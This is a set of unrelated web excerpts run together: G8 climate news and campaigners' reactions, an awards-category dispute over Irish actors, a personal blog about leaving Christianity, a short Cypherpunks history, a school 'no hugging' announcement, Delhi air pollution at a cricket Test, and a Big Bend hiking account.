Leaders said the statement represented progress by the G8 on addressing climate change.
“At Heiligendamm, only six countries were recommending a 50 percent global greenhouse goal by 2050,” said Carolyn Olsen, chief spokeswoman for Canadian Prime Minister Stephen Harper.
“Now all G8 countries are calling on the world to adopt a 50 percent by 2050 goal, and they have called for ambitious mid-term goals from all G8 countries and meaningful contributions from all major economies. This is major progress since last year.”
But campaigners criticized the lack of a commitment to midterm targets and said the 2050 goal was insufficient because many scientists say emissions cuts bigger than 50 percent are needed to offset potentially devastating climate change.
“This is a complete failure of responsibility. They haven’t moved forward at all. They’ve ducked the responsibility of adopting clear midterm targets and even the 2050 target is not a single thing more than what we got in Heiligendamm,” said Daniel Mittler, political adviser for Greenpeace International, referring to the German town where last year’s G8 was held.
“Now we’re one year after Heiligendamm when they pledged quick and decisive action and all they come up with is ‘yes, we’ll discuss it at the U.N.’, that’s just not good enough,” he told Reuters.
“This is the result of an oil man preventing the world from moving forward one last time, and the only good news is that this will be Bush’s last G8 summit.”
Oxfam said the G8 climate agreement threatened the world’s poor.
“Rather than a breakthrough, the G8’s announcement on 2050 is another stalling tactic that does nothing to lower the risk faced by millions of poor people right now,” said Oxfam spokesman Antonio Hill.
UK-based development agency Tearfund also said the G8 was dithering.
“The G8 are crawling forward on emissions cuts at a time when giant leaps and bounds are needed,” Peter Grant, Tearfund’s international director, said.
Saoirse Ronan found herself nominated for British Actress of the Year today, with Michael Fassbender and Colin Farrell shortlisted for British Actor of the Year, and Emma Donoghue given the nod for Breakthrough British Filmmaker of the Year. Brooklyn was also listed in the British Film category.
He's Irish ok! Well, German-Irish......but not British
Twitter and social media quickly went into meltdown and after enough outrage at the sleight was generated, there was a hasty relabelling of the categories. The website now being updated to sound a lot more inclusive by including 'Irish' in the category titles.
On the LFCC website, a post from 2010 aimed to pre-empt any outrage.
It reads, "There is no intention to suggest that Irish talent is British should an Irish citizen be nominated in the 'British' categories and all Irish nominees know this. It simply recognises the complex nature of film making, a collaborative affair often crossing national boundaries." Hmmmm.
Five years ago, there would be no way in hell that I could ever conceive of leaving the Christian faith. But here I am today, only mere months after I finally garnered the courage to change my Facebook status (oh, heaven forbid!) and be public about my faith...or lack thereof. Friends have asked me why, and how, someone who was as zealous a Christian as I could so intentionally and deliberately leave the faith, so I decided I am in a good, and secure place... and I'm ready to answer why.
Before I go into the full reason, I feel the need to offer a couple of disclaimers. The first is that I feel in order to fully explain why I left the church, I need to offer some background into the events that led up to this decision... so bear with me, and please respect that this is not an easy article to write. Also, what makes this article especially difficult is that in writing it, inevitably I will be thinking of people who have influenced my decision to leave the Christian faith, and some of those people might find themselves reading this article. I do not wish to speak ill of anyone, and I will do my best to not name anyone outright, but people who know me well enough might be able to identify people I reference, and for that, I apologize. I do not wish to put anybody in a bad light. Do I have friends that are Christian? Yes. Do I care about them very much? Yes.
With that being said... this is what happened:
To start at the beginning, I did not grow up in a Christian home. My parents, who are two loving and supportive people, both grew up in Christian homes (Dad was Lutheran and Mom was Catholic) but both stopped going to church very quickly after they grew up. For reasons I still don't exactly know why (except that it was "the thing to do") my sister and I were baptized as Catholics, and we went to the Catholic school down the street from the house where I grew up, out of convenience. This Catholic school was next to a Catholic church, and that Catholic church had a youth minister who would come next door to the school with his guitar, come into class, and play cheesy Christian songs (like "Shine Jesus Shine") and it was awesome because we didn't have to do math class anymore!
But also, when I was a kid (and this should come as no surprise to anyone who knows me) I was totally that awkward kid, with the bad haircut and glasses and my nose in a book all the time. I saw this individual and this youth group he had as a welcome invitation, to make friends and meet people who were welcoming and would accept me unconditionally for who I was, books and all. And I was exactly right.
I started going out to this church youth group and felt very welcomed, and loved, and developed a very positive friend community that had a great effect on my self-esteem. My teenage years were very happy, and I do want to stress that.
As far as Catholic churches go, this particular church had more of an "evangelical" edge to it, and was pretty strongly influenced by a revival movement, very similar to Pentecostal revival movements, that had hit the Catholic church in North America in the '80s. What I mean by this, is that there was an altar call kind of moment, there was a "movement of the Holy Spirit," so to speak, and a moment where I "accepted Jesus into my heart" -- looking back, I'm not sure if this was a true moment or not, or that I was swept up by the emotions of the event involved: the music, the charismatic speaker, and whatnot.
I also wonder if I "accepted Jesus" because all my friends at that time had already done so and there was a bit of peer pressure involved. Either way, I really did love Jesus. Hardcore. I kept my bible in my backpack, I went to church every week (it was also convenient because I played piano for various church choirs so I had a commitment to go, and playing was so easy and fun for me) I even prayed the rosary. Every single night. There was none more zealous than I, and I'm sure this caused me to be alienated even more from my peers, but at the time, I didn't care, because to me, I had a god who loved me, so who gave a shit about what other people thought?
Part II - Since when do parking lots cost $40,000?
At the end of my high school career, I applied and got accepted into a year-long missions program where you travel across North America going to churches and go to Ghana. This is where my seemingly unshakable faith, started to crumble. I can confirm that there are some pretty corrupt churches in Southern Ontario/the United States. I know, because I've been to them and spent time there. Churches where there were pastors literally screaming at each other behind closed doors, (we were at one church over the Easter weekend, and minutes before the service had started for Easter Sunday, found out that the two pastors had been screaming at each other and threatening to quit... minutes before the service started); churches that were blinded by capitalism (I cannot understand the justification of the money spent in mega-churches) and authority (I had someone tell me to "Please, refer to me as Pastor _______").
We went to a church where they were holding a $40,000 fundraiser... for a parking lot. And yes, they already had a completely functional parking lot, but they wanted a nicer parking lot. I was furious at the thought, especially when we had just gotten back from Ghana and had encountered some of the most blatant and unfair forms of poverty I had ever seen in my life. When you see enough of the nasty underbelly of churches, you're left with a really bad taste for the hypocrisy, politics, and gossip that seemed to be a trend with most churches we went to.
The one thing I seemed to continually come across, was the fact that I was Catholic, and the majority of churches we were visiting were very Protestant. According to a lot of these people, I'm not a Christian, or a REAL Christian, and the Catholic church is a terrible corrupt place and the Pope is the anti-Christ and Catholics are just misguided Mary-worshippers... I have heard it all. And the thing is, Catholics feel the same about Protestants -- they have "some of the truth, but not all of the truth."
So I was suddenly finding myself in a constant year-long debate against what felt like everybody I came into contact with, because the form of Christianity I subscribed to, was different than their form of Christianity. So who was right? They think they are right, and I think I am right. And I grew to learn, that people don't like the idea of being wrong, and I had to become comfortable with the fact that I could be wrong, and that it's OK. I could grow, I could learn, being wrong wasn't bad, it was good because then I could correct what is wrong and learn from it.
But further than that, this thought caused me to realize, how arrogant I was, to think that my form of small-town Southern-Ontario Catholic Christianity was the only way that people could come to know God properly, when there are billions of people all over the world who reach out to all kinds of higher powers and forms of spiritual enlightenment all the time? And those people feel the same kind of assurance, peace, and goodness that I do? I can't have the nerve to say that these people were wrong because how they relate to their god is different than mine, when all I have to justify my belief is a book. Which is exactly what I was doing. And exactly what those people who thought being Catholic was wrong were doing to me.
Part III - What happened out there
After the year was over I went to university, and after my first year of university, I had a very difficult summer. I couldn't find a job, so I tried to make a go of it and started my own business, which is incredibly stressful as it is. I was also very lonely, which made me very vulnerable. A person whom I thought was a friend paid to have me fly out to visit him in Vancouver. I was also incredibly naive at the time and didn't think getting sexually assaulted could possibly happen to me on this trip to Vancouver... but it kind of did. And I was in a terrifying place, having no money, being thousands of miles away from home and friends and familiar faces, and having no means to escape and run away.
I can't explain how horrible it feels to not be able to run away when you're in danger. In the Christian faith, especially conservative Christian faith, there are a couple of very large no-no's, and sex before marriage is one of the biggest ones. I've heard and been to talks where people equate pre-marital sex to losing your value, or being like a piece of tape that gets stuck and re-stuck until it can't stick anymore, or a bank account where you're cashing out money until you have none.
At the time, I very heavily blamed myself for what happened to me and was terrified to let on in even the remotest sense that anything bad (that I didn't consent to) had happened. A large portion of my reasoning was those analogies about what happens when you have sex before marriage kept playing over and over again in my head. I also had this stupid thought, that since I was regarded as a leader, I can't let anything bad happen to me, or show any kind of indiscretion.
It's horrible how deeply I blamed myself for the whole thing, which is so wrong, and so harmful to do. I felt tremendously ashamed, as though I had done something wrong, and this was a tremendous lie that took a long time to get over. Oddly enough, I only ever had one friend who directly cut through my bullshit story and asked me what really happened. Only one, out of all the friends who knew I was going. And I was too afraid to tell him, and when I finally did, he reacted in a way that made me feel even more wretched about myself. (He and I have talked about this and apologies have been made.)
But still, I wished somebody had warned me, or said something, or kindly reminded me to be careful. I had one friend email and caution me against going... two weeks after I had gotten back. Two weeks too late. And when I finally started to tell people what really happened, a lot of people reacted inappropriately, saying that I should forgive the guy, or that God was going to heal me, or that good things will come out of it. Just for future reference -- don't EVER say those things to someone who has been sexually assaulted. It's ignorant, rude, and dismissive, and caused me to feel further alienated.
The question, "where was God?" kept on asking itself to me as I tried to process what had happened. God is supposed to love me, and protect me, and keep me from harm. This is what I had been taught, yet here I was, feeling like my church had failed me by keeping me sheltered and naive, and feeling like I was continually let down by Christians in their dismissive, harmful reactions when I had finally got the courage to stop thinking about those "sex before marriage ruins you" analogies and talk about what happened.
I reasoned two things to answer my question about where was God, when I was in Vancouver: God either was present and there, and did nothing about it, or God was not there, and does not exist. It is easier for me to think that God does not exist, than to think that God was present and did nothing. A God who is present and does nothing is not all-powerful, and is not all-loving, and I simply cannot forgive a god who stands by and watches while people get hurt after he promised to protect people. If I had the power to stop something bad happening to someone I loved, I would do everything I could to stop it. Of all of the times in my life that I needed God, God was not there. This is where I stopped believing in God -- I would rather think that God simply does not exist, then think that God abandoned me.
Further than that, I began to think of how randomly senseless the world could be. I grew up in a safe and loving environment in a stable country with a good economy. The majority of the world cannot say the same. Where is God then? I had people ask me to pray for them in a village we were visiting in Ghana because they have no clean drinking water. Where is God then? I met a homeless person in Toronto who asked me to pray for him so he could overcome his drug addictions and find a safe place to sleep that night. Is God protecting him? Where is God in the face of natural disasters that destroy countries and leave countless numbers of people devastated? How can an all-powerful, completely loving, benevolent God allow that kind of random injustice and suffering?
I started to think of the many times where I have heard other people, and have also found myself, thanking God for being present in the little things -- God helped me ace that test, or God helped me get to work on time, or God led me to my true love. How incredibly selfish is it for me to reason that God is always present and doing little magical things to make my life easier when there are people who live in this world who don't have the basic necessities for living?
And then, maybe those people in that village in Ghana do get clean drinking water one day, and they are thankful that God provided for them. What kind of God denies people basic necessities for living and then demands their thankfulness if he does choose to provide? I would rather that God does not exist, than choose to follow that kind of god.
Living with this secret, this "sin" made me realize that I didn't feel welcome in the churches I went to anymore, and the times when I felt most welcome, were the times before anything bad had happened to me... which feels very backwards to what I understand Christianity to be about. The more I started doubting my faith, the more the bible made perfect sense to me, and the easier it became to read: Jesus loved the poorest of the poor. He spent time with the prostitutes, the tax collectors, and the people with the worst reputations, and loved them unconditionally, contrary to the culture they were a part of. God wasn't a god of the rich and powerful, but a god of the outcast and enslaved, who freed oppressed people and stood for the rights of the downtrodden.
So naturally it would feel like this kind of unconditional love, and this unity and welcomeness should be extended to all people, regardless of gender, race, and class, just as Jesus embodied in his life. Yet I fail to see that in so many churches. I've encountered too many Christians who (for example) would rather argue about the theology of whether a homosexual person is an inherently disordered individual living in sin according to the book of Genesis... rather than recognizing how deeply harmful those kinds of dialogues are and the profound effect that kind of thinking has on the lives of people.
I know I speak broadly, and am at risk of generalizing, but too often I feel like in so many parts of the North American church, there is far too little emphasis on an ongoing option for appropriately caring for the poor, and that such care manifests itself in ways that do not "inconvenience us" or involve colonialism (like short-term missions trips, for instance).
In a Facebook note where I wrote about these thoughts many years ago, I said,
"It has become too easy, too passive, and expectations have fallen too low. Where is the challenge if I begin to feel like the view towards salvation is that it is assured simply because I fill up a space in a church pew? There is too much brokenness in this weary world, and too great a responsibility, and (by the way...) saving souls should never, ever, ever, be thought of in numerical terms... Don't give me a church with good music and good public speaking. Give me Jesus. Give me the courage that Jesus had to love tax collectors, prostitutes, and to approach the lowest caste, the diseased, dirty, and dying, and love them. Don't give me an altar call and have the nerve to tell me that all I have to do is kneel down, say 'yes,' and that is my way into heaven. Give me the weight of the world, and the responsibility of the impoverished, the dying, and the hungry."
I found myself continually dissatisfied, and unable to justify this kind of "feel-good" attitude I found in so many churches I encountered. I was very quickly running out of answers and reasons.
Part IV - Nails in the coffin
And then a couple of things happened, that in my mind, I refer to as the "nails in the coffin." There were of course many things that happened, many negative conversations and traumatizing experiences, but I'll talk about two of them that encompass the spirit of most of what happened, for the sake of length. (We all know this post is long enough already...lol). The first "nail" that happened was that I volunteered at a weekend youth retreat that I volunteer at every year, and for the first time in a tremendously long time, deeply related with what the speaker had to say.
The people who organize the event (who are also good friends of mine and the organizers of the year-long missions program I went on) had invited a speaker they had seen at an earlier event, and his message was very clear, and very simple: It is OK to doubt your faith. In fact, doubting your faith and questioning it helps your faith to grow. Also a person's actions are a reflection of what they believe. If, in my actions or inactions, I am supporting systems or institutions that enable oppression, this is what I believe in.
I loved his message. His message resonated deeply with me, and for the first time in this dark night of the soul I was experiencing, I felt a glimmer of light, and a chance for encouragement. I could doubt my faith, and that was OK. However, I was one of only a few people who resounded with what he had to say. Many, many people at the event thought his ideas were "heretical" "un-biblical" and couldn't believe that this "non-Christian" was speaking at their event. People were walking out on talks, arguments were taking place all over the grounds this event was held at, and the poor speaker was getting harassed everywhere he went.
People were telling him they needed to pray for him to receive Jesus into his life, saying he was a heretic, and looking for opportunities to argue him at every turn. The hardest part for me, in the midst of witnessing this insanity, was that a lot of the people who disagreed so strongly with him were people I knew personally. People whose churches I had visited, or people I had lived with or worked with or spent extended time with. And they were saying that it's not OK to doubt your faith. In fact you are not allowed to doubt your faith, and if you're doing so, you're not a Christian.
This broke my heart, and I realized that these people I had known for years were not safe people, or kind accepting people that I could be open with my struggles about. (I need to offer a disclaimer: not all of my friends, including my friends who organized the event, hated what he had to say. A lot of people related to him the same way I did, and that meant a lot to me.)
After the event, I knew the organizers would receive piles upon piles of angry emails, and I made an attempt to curve the anger away from them by writing a Facebook note, and circulating it on social media. Within three days of writing the note I had over 120 comments on the note, and piles of messages in my inbox. I had angry messages, messages from people who were "concerned" about me, but I also had a couple of messages from people thanking me, for having the courage to openly express what many people were afraid to say.
That also floored me more than anything -- other people out there felt the same, and that they were part of a church where their opinions weren't welcome, and felt oppressed and unable to say how they felt and where they really stood with faith. In this regard, the church was unwelcoming. The next year at this same event, the speaker they invited was conservative, and talked about the usual stuff; how you should accept Jesus into your heart and all that. Then I realized how much a consumer culture permeates so many churches -- that my friends can't even use their authority in planning this event to challenge people in a healthy way, but that they are still held at the mercy of giving people what they want to hear. This really disappointed me.
The second "nail in the coffin" was at a summer camp I volunteered to be a counsellor at. At the camp, I was asked to give a talk. This was a Christian camp, and I asked them what they wanted me to talk about (I was good friends with the organizers) and they said, "Anything. We trust you." So I was faced with the challenge of giving a Christian talk to a bunch of teenagers at a summer camp, and I didn't know what I would say. In fact, I had to give two talks, and this made me very nervous. I didn't want to lie and say something I wasn't sure I believed in, nor did I want to say what I actually thought, and draw a lot of negative attention to myself.
I had a long conversation with one of my close friends at the camp about my dilemma, and he advised me to speak what I believed in. So I wrote a letter to the church, and I spoke very honestly. For the first time in front of a group of strangers, I told them what happened to me in Vancouver, and I talked about the residual effects, and the doubt I was experiencing, and where I was presently. And the result utterly shocked me. People were thanking me for being so open, and kids were confiding in me, and telling me their struggles, and how they were not sure of what they believed in, and why. It opened the floor for a very open and vulnerable dialogue among people who were willing to accept one another.
For the second talk, I decided that, rather than present my "letter to the church" I would invite people to collectively write a letter to the church, and we could continue the conversation about where they stood with the church and how they felt about it. A couple of people who hadn't been at the first talk came to the second talk, and one individual in particular got very upset, and started saying that I was sinning, and "demonizing the church" and how dare I say anything negative about the church. My attempt to explain that we weren't being negative, but rather allowing a critical analysis of an institution we all cared about ended with her running away in tears, and completely derailing the conversation.
I attempted to try and find her afterward and try and patch things up, but she started screaming at me, accusing me of putting her in an unsafe place, and again, being a sinner who demonizes the church and is a horrible, horrible person who is completely wrong, heretical, and evil. I couldn't talk to her, and something about her words cut straight to me, and I ended up leaving and having a full-fledged panic attack. I realized that no matter what I do, no matter how strong my efforts and what I would say, there will always be people who think I'm against the church, or that I'm a horrible heretical person who is trying to destroy their beloved church, and that more than that, I was evil.
And in that moment, I suddenly became very, very tired of the uphill battle I felt like I had been fighting on for years, and I desperately wanted to distance myself from the institution I was once willing to give my life for.
What was difficult about this was at the time, I was actually working for a church, as a youth pastor. But I no longer believed in the work I was doing. It all seemed very silly to me, and like a big masquerade.
Every Sunday I had to perform a "children's focus" where I would sit at the front of the church and all the kids would gather round and I would give a little bible lesson. The children's focus is not about the kids, nor is it about educating kids. Rather, it is for the adults, so they can look on and say, "oh look how wonderful it is that the children are learning," when all the learning and activity was happening in the actual Sunday School. The whole point of this stupid weekly presentation was to appease the adults, and I couldn't stand it.
Once I had an individual in this church complain to the pastors that I didn't look "reverent" enough during the church service, and it really discouraged me. Church shouldn't be about looking reverent, but it felt like everything I was doing was all for looks, and there was no substance to what was actually going on. I began to grow sick to my stomach every time I pulled up to the church and forced myself to walk in the door, and to this day, I feel sick to my stomach at the thought of churches. I eventually had a very honest conversation with my bosses when my work performance began to fail, and I decided to quit the church and ended on good terms.
Part V - Enough
Since then, I have received a lot of mixed reactions from being honest about my faith. For years, I had been terrified to tell anyone that I wasn't a Christian anymore, because I was afraid of all the relationships I would lose, and all the people that would distance themselves from me. To me it feels like there's a tremendous stigma in a lot of Christian circles about people leaving the church, and this assumption that I'm not a good person, or a person Christians can be friends with, because my views are now so different.
A lot of Christians I had met would refer to people who weren't Christians as "nonbelievers" and talk about atheists in this sort of vernacular that reflected an "us vs. them" attitude, as though these "nonbelievers" were a part of the world, and that the world was a corrupt and evil place filled with all sorts of depravity. "We are of the world, but not of the world," is a catch phrase I often heard, and while I appreciate holding onto certain traditional values about one's conduct in life, I didn't want people to think of me as "of the world" -- when they were thinking of the world as such a terrible, evil place.
I was really scared of telling people. What I started to realize though, is that people had been distancing themselves because of my views for years already, and that I didn't want those kind of people in my life. I would rather be friends with people who would love me, regardless of my beliefs. And I am very happy and grateful to say that I do still have friends that are Christians, and our beliefs and views are very different, but that hasn't had an effect on our friendship. That was very huge and important to me, Other people have, yes, chosen to distance themselves from me, or let our friendship "fade away" or have told me they were disappointed in me, or even worse, call me a hypocrite or tell me I'm going to hell, or try and re-convert me. If people are that angry and insecure... there's not much I can do about that.
My decision to leave the Christian faith didn't just happen because of a few negative conversations, or a few isolated events (though from my story, you can see how huge of an influence those events can have) -- my decision was made because I realized (and experienced) that the Christian faith, for many, wasn't a welcome place for the oppressed, and that, in fact, has been, and in many different ways, continues to be, an agent of oppression for many people.
Many church denominations interpret the bible to say God destroyed a city because of homosexuality... so therefore all gay people are bad? Many church denominations also interpret the bible to say that a woman should be silent in church, and they are not meant to be leaders, so consequently, even to this day so many churches can't accept the idea that women are capable of leadership? (I know someone who can't have the title "Pastor" because she is a woman. She is just as qualified as a man, but isn't allowed the same title... because she is a woman...?)
Historically, a lot of Christians had used the bible to justify slavery. And I have no idea how to interpret the stories in the bible where God commands people to commit genocide, or God destroys populations and wipes out cultures, and tears entire cities to the ground, or floods the world sparing only one family and a bunch of animals. But even fast-forwarding to today, it feels like so many Christians I met were content to pick-and-choose the parts of the bible they would follow. To a lot of people, the idea of condemning someone for getting a divorce is unthinkable, but discriminating and denying rights to people based on their sex, gender, or race is acceptable.
There is a clear double standard in many Christian denominations, and because of that, churches are actually not a place for fellowship for everyone. One person told me, in a conversation we were having about abortion and human rights, that if a child gets raped, she has to keep the baby. I know that these attitudes are reflective of the extreme and fundamentalist side of religious belief, but regardless, these were people I personally knew and connected with that said this to me, and I never thought I had come from a place and had relationships with people who could demonstrate such intolerance.
Fundamentally, morally, and ethically, I cannot follow a religion that would advocate such hate, judgment, and ignorance. I know that a lot of Christians do a tremendous deal of good things in the world, and advocate on behalf of many oppressed people, but I still really sorely miss the critical conversations where these double standards exist in the bible, the interpretation, and how that enacts itself in the world, and wish for more Christian leaders to speak about these issues. So maybe it should be up to me to fix the church, but it got to a point where I started to realize this kind of hate is larger than just a problem that needs to be fixed, but that it is ingrained into a really big part of Christian culture in North America.
So many church denominations are content to split up if they disagree; people believe so strongly and fervently in their interpretation of the bible they would sooner split up their church denomination than actively dialogue and try to understand one another. And for all of the things I can do, I cannot go up against that kind of strength of belief -- to many, it is church doctrine, and not something that simply changes. One person messaged me and told me she was disappointed that I left the Christian faith, and I responded by saying,
"I'm disappointed too. I am disappointed in the churches I was in and how they failed to teach me compassion, and failed to be a safe place for the oppressed and marginalized, but rather continued to be institutions that perpetuated colonialism, capitalism, and patriarchy. Certainly there are groups, and individuals working for justice in the name of God, but I was too overwhelmed with seeing years and years of injustice and hypocrisy and so many churches across multiple denominations who were keen to push their own political agendas at the expense of the people they are supposed to be reaching out to. I also realized I could still do good in the world, and fight against injustice and oppression, and not have to do it with a Christian agenda, but simply because it's the right thing to do, and for the sake of building a better world. It took me years to come to terms with not believing anymore, and then even longer than that afterward to be open and honest with myself and others about it, and that's only been a very recent development. And believe it or not, I'm really happy right now. I have a life that I love, and people that I love, and I feel like I'm doing meaningful things."
Were there times when I felt the presence of God? In looking back, most of those times where I "was moved by the holy spirit" were influenced by outside factors, like loud uplifting music, or other people and emotions running high, but there is one moment I can't explain. During a church service in Ghana underneath a straw canopy, somehow everything felt very different, and I felt like I was aware of a "sacredness" to everything and everyone gathered. I've never felt that feeling again, and I'll never forget that feeling, and honestly, I don't want to reason that feeling away with excuses involving heat or dehydration or exhaustion. For some reason that moment was special, and it will remain so for me.
My dissolution of my relationship with God was not because of the negative interactions I experienced with Christians, but that I genuinely feel as though a relationship has been broken. From that moment in the darkness in Vancouver, where I couldn't answer the question to "Where was God?" I continued to feel betrayed, and come up with questions I couldn't answer. I couldn't understand what kind of god would create people, and in one breath, tell them they are perfect, that he "knew them while they were in their mother's womb" but then tell them they are inherently disordered, or can't be leaders because of their gender or race, or creates people who are inherently sinful?
I believe we weren't given a "choice" to follow god based on the eating an apple in the Garden of Eden, because now our "eternal life" is wholly dependent on us loving God. There's no choice. How can that be true love? "Love God, or go to hell"? How cruel is that? It doesn't matter to me whether God exists or not -- it more matters as to why he didn't do anything when I needed him, and remains not present in so many instances of suffering around the world, historically and presently. Honestly, I left God, before I left the church, and I was heartbroken to leave him. Moments like that moment in Ghana, which felt like I was aware of something so profoundly more greater and beautiful than I can reckon, remain to me to be memories from a relationship that has been lost, and one that I miss terribly.
Do I still care about faith? Very much. Am I still interested in discussing and conversing about the implications of faith in this world? Very much so. There seems to be an assumption that because I'm not a Christian, I no longer care about religion, but I do very much, and still wish to be included in the dialogue. There is a very very fine and delicate balance between the relationship of people based on their beliefs, allowing room for dialogue, and the opportunity to learn from one another. Like the lesson I learned so long ago, it is difficult, but so right to exist in the liminal experience that is being able to be wrong, and being willing to learn from one another, and, like that speaker at that event taught me, have the courage to hold your faith and ideas in an open hand, and truly see what it is they are made of.
I realized that I can be a positive force for change and that I don't have to do it with the motivation of "ministry" or "outreach" or "winning souls for Jesus" -- there was one speaker at that Christian event I always went to who loved the tagline "Gettin' sweaty for Jesus!" and I realized I didn't want to get sweaty for Jesus. But for other people? Most definitely.
I no longer want to feel like I'm incapable, or inherently flawed, or unable to do things without God. It feels more empowering, great, and wonderful to believe in myself, and know I can do things because I can. And that I'm not a product of sin, but a human being with wishes, hopes and dreams. I have infinite possibilities, not because a god allows it to be so, but because humanity has been, for thousands of years, in the midst of evil, war, and greed, working to also create goodness, and build a better world, and I can continue on that fight for a better world, not for the motivation of heaven at the end of my life, but the assurance that my children and children's children can continue to build, innovate, and create in a better and more beautiful world than I can imagine.
And that, to me, is enough.
This post originally appeared on Jessie's blog.
Beyond the realm of cash payments, no transaction is private. And your financial behaviour says more about you than anything. Banks, credit card companies, merchants and governments would all have access to this information. How would they use – or even abuse - it?
By the end of the meeting, this committed, disparate and talented group of computer scientists had a new philosophy - that of the Cypherpunks. Within a week, one of them had written a programme to receive and distribute encrypted emails. Now they had the Cypherpunks Mailing List. There they would share, discuss and develop their ideas, many of which were based around the science of cryptography.
And they had a mantra: 'Cypherpunks write code'. Rather than talk about how things should be, if system isn’t working, write some code and make it work. The ultimate dream of the movement was a system of digital cash: a independent, peer-to-peer money that would work on the net just as cash works in the real world.
Over the loud-speaker last week, hundreds of students at Matawan Aberdeen Middle School heard their principal announce they were in a "no hugging school."
Some students came home confused and upset after hearing the announcement, resulting in concerns and questions from parents.
According to David Healy, Superintendent of Schools for the Matawan Aberdeen Regional School District, the brief announcement from Principal Tyler Blackmore was prompted by "the excessive, observed and reported, welcomed and unwelcomed hugging or physical contact between students."
He continued:
As a building principal, one has broad discretion in terms of maintaining order in his/her building and therefore based on the observed and reported excessive hugging/physical contact that, at times, may have been inappropriate and causing delays to class or the like, Mr. Blackmore felt it best for the good of the school and the orderly operation of his building to quell the behavior before it escalated into a problem particularly with among other things the heightened awareness and reporting of (HIB) harassment, intimidation and bullying.
Parents, Students Baffled By Announcement
Students of the middle school commented on the baffling announcement.
"I don't really feel like it's fair because you should be able to hug your friends," said an eighth grader. He said even teachers were confused when the announcement was made.
His friend continued, "Hugs don't kill anyone, don't hurt anyone. It's not affecting our school, so I think it should still be there."
While parents said they understand some types of physical contact are too much for school grounds, hugging is not included.
"As long as it's within reason - it's a high-five, a handshake, a hug with no sexual connotation - I don't see a problem with it," said a concerned parent.
One parent said her daughter came home disappointed after hearing Mr. Blackmore's warning. "She said to me, 'Ma, I can't even hug my sister in the hallway. Are they going to yell at me? Am I going to get in trouble?'"
Several parents wondered why they were kept out of the loop on such a controversial topic, and why they had to hear the news from their children.
"I wonder what the Principal's afraid of," one parent said. "Did somebody do something they shouldn't have done? Was there some inappropriate behavior by one of the teachers?"
Another parent exclaimed, "Children were taught to say yes to hugs, no to drugs, but not in Matawan Aberdeen Middle School!"
Superintendent Healy said despite the announcement, no specific policy was put in place against hugging. Also, no students would be disciplined for hugging in the halls or on school grounds.
A BCCI official told ESPNcricinfo that "the Sri Lankan players have been checked by a senior doctor and they are all well", but reports quoted DDCA sources as saying that the players refused to take the test after three of them returned good readings. According to these reports, three players underwent tests for oxygen concentration levels, which returned readings pretty close to the optimum ones. Then the other players allegedly refused to take the test.
It was clearly a surprise visit for the team, which was left wondering how such a test would tell them what the events on the field didn't. "There was some test done," Sri Lanka coach Nic Pothas said at the end of the fourth day's play. "I have no idea what that test does or doesn't tell you. You saw today at the end of the day, Mohammed Shami was also struggling (He vomited on the field as well). I thought the guys did superbly well. We said the situation is the situation. Let's just get on with it. The guys did fantastically well through the day.
"I am not a doctor so I have no idea what these tests tell you. What were we testing? Why were we testing? It doesn't make anything go away. But I thought the guys did brilliantly. Great attitude through the day."
Sri Lanka have been under fire from a few of the commentators and fans both in the stadium and on social media. The genuineness of their concerns has been questioned every day, including some people wondering why their players didn't wear the masks when batting and wore them only while fielding. Pothas was asked if he felt the doctor had been sent to discredit their claims and his answers remained non-committal.
"It has nothing to do with me," Pothas said. "We made a pact as a team that we will get on with it. It is what it is. It is not going to go away. I thought the guys showed great attitude through the day.
"The bottom line is we have got to play a Test match. There is a professional bunch of people in that dressing room. We are very positive about our talk, and the way we behave, and the way we adapt to situations. We made a pact this morning that we are not going to discuss it, we are not going to talk about, we are going to go out and do our job."
Asked if the situation ever reached a stage where the team might have questioned the health risk was too much to take, Pothas said: "That is not for us to decide. Are people in discomfort? I think it speaks for itself. The rest we cannot control. We are professional. We stopped talking about it. It is not going to make a difference talking about it. The only thing we can do is go out and play. As I said, the guys brilliantly today."
About the questions asked of their wearing masks only when fielding, Pothas chose not to go into the nitty gritty of how calling for runs and concentrating can be hindered by them. "I think (commentator and former Sri Lanka cricketer) Russell Arnold's reply to that was the best reply I have ever seen," Pothas said." In that some people wear sunglasses when they field, and the same people don't wear them when they bat. I think when you read in newspapers today some of the reports from medical experts from around India, that will answer your question."
The newspapers have been quoting medical experts on the dangers of outdoor exertion in this air quality. "Players from other countries will not be able to breathe in the current situation," KK Aggarwal, national president of Indian Medical Association, told Times of India. "Our players might be accustomed to it, but they still should not be exposed to such air quality. It is dangerous and medically not advisable. The Sri Lankan players were right to protest."
Aggarwal was quoted by the The Scroll as saying: "This match should not have taken place in the first place. It is time the ICC comes up with a policy on pollution. You have fast bowlers, batsmen and fielders out there exposed to these very harmful pollutants over five days at a stretch. It takes a serious toll on your health in the long run."
Over in Pakistan, which shares the problem with India, former captain and legendary allrounder Imran Khan used the Delhi Test as an example for his compatriots. "This should be a wake up call for Pak," Imran tweeted. "Our children are at a huge risk because of dangerous pollution levels."
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Heading down Big Bend Juniper Canyon from the Chisos Mountains
I awoke the next morning and broke camp and headed toward the Juniper Canyon Trail. I remembered this trail being one of the most treacherous I had ever hiked. Even more difficult than hiking down the Hermit’s Rest Trail in the Grand Canyon.
Read part I of the hike – Big Bend Chisos Mountains hike day 1
The good news is the park service obviously worked on this trail since the last time I hiked it over 25 years ago. The descent was much more manageable with switchbacks and a more gradual decline.
Anywhere you look at the Chisos Mountains they are beautiful as they rise right out of the desert. I think the back side of this mountain range turned out to be more spectacular than the views heading up from the Chisos Basin on the front side.
One beautiful view after another in Big Bend Juniper Canyon
The only problem is I had trouble making time as I would stop for photos every ten feet or so. It seemed every time I hiked a little bit the movement would create a new angle to view the beautiful mountains and the desert below.
This did turn out to be an issue because I spent more time in the sun than I would have had I just been hiking. I tragically forgot my Tilley hat in my car at the airport. I fortunately had a baseball cap, which I rigged a dish towel around with the aid of duct tape to protect the back of my neck from the sun.
One of the fascinating parts of hiking down from the Chisos Mountains was to observe the gradual change in the flora as the elevation dropped. I was hiking in a mountain meadow at the beginning of the day and at the end I found myself in a desert environment with flowering cactus and yucca plants dominating a dry arid earth. Big Bend is home to more species of cactus than any other park with 70 different kinds, but don’t expect me to name them.
Crossing the Chihuahuan Desert on the Dodson Trail
I eventually made it down the canyon to where a backcountry gravel road meets the trail. There is a metal box here where people can stash water, but the road is recommended only for 4 wheel drive use. I did not use this box for storage, but I did utilize the next water stash, which was 12 miles away across the Chihuahuan Desert on the Dodson Trail. A gallon of water was waiting for me there.
